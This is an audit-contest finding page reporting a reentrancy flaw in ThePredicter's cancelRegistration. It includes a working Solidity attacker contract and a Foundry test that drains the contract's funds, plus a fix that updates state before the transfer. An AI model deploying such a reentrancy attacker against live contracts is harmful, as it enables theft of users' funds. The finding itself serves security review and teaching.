First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

ThePredicter contract is vulnerable to reentrancy attack

enchev

Summary

ThePredicter contract is vulnerable to reentrancy attack which could drain all of it's funds when cancelling registration.

Vulnerability Details

The method ThePredicter::cancelRegistration allows user to cancel their registration and withdraw the registration fee that they deposited. However, the method does not follow the CEI pattern which makes it vulnerable to reentrancy attack. This allows draining all it's funds.

Impact

ThePredicter contract loses all of it's funds and eligable for reward players and the organizer - Ivan will not be able to wittdraw funds.

Tools Used

Manual Review, Foundry

Proof of code

  1. Create the following contract in the testfolder and name it Attacker.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
​
import "../src/ThePredicter.sol";
​
contract Attacker {
ThePredicter public target;
​
constructor(address _target) {
target = ThePredicter(_target);
}
​
receive() external payable {
if (address(target).balance >= 0.04 ether) {
target.cancelRegistration();
}
}
​
function attack() external payable {
// Ensure this contract has enough funds to pay the entrance fee
require(msg.value >= target.entranceFee(), "Insufficient ether sent");
target.register{value: msg.value}();
target.cancelRegistration();
}
}

  1. Import it in ThePredicter.test.sol:

import {ScoreBoard} from "../src/ScoreBoard.sol";
+ import {Attacker} from "./Attacker.sol";

  1. Add the following test case to ThePredicter.test.sol:

function test_canDrainThePredicterContractFunds() public {
address stranger2 = makeAddr("stranger2");
Attacker attacker = new Attacker(address(thePredicter));
​
uint256 registrationFee = thePredicter.entranceFee();
​
// First fund the predicter contract:
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: registrationFee}();
vm.stopPrank();
​
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: registrationFee}();
vm.stopPrank();
​
// ThePredicter contract has collected fees:
assert(address(thePredicter).balance == 2 * registrationFee);
​
​
// Create a hacker which uses contract to drain funds and make attack.
address stranger3 = makeAddr("stranger3");
vm.deal(stranger3, 1 ether);
vm.startPrank(stranger3);
attacker.attack{value: registrationFee}();
vm.stopPrank();
​
​
// Verify that the attacker contract has drained all of the funds in the ThePredicter contract.
assert(address(attacker).balance == 3 * registrationFee);
assert(address(thePredicter).balance == 0);
}

  1. Execute the following command: forge test --mt test_canDrainThePredicterContractFunds

  2. Verify that the ThePredicter contract was drained of funds.

Recommendations

Rewrite the method ThePredicter::cancelRegistration in the following way so it follows the CEI pattern (interactions such as transfers must be executed after state updating):

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
- (bool success, ) = msg.sender.call{value: entranceFee}("");
- require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
+ playersStatus[msg.sender] = Status.Canceled;
+ (bool success, ) = msg.sender.call{value: entranceFee}("");
+ require(success, "Failed to withdraw");
return;
}
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.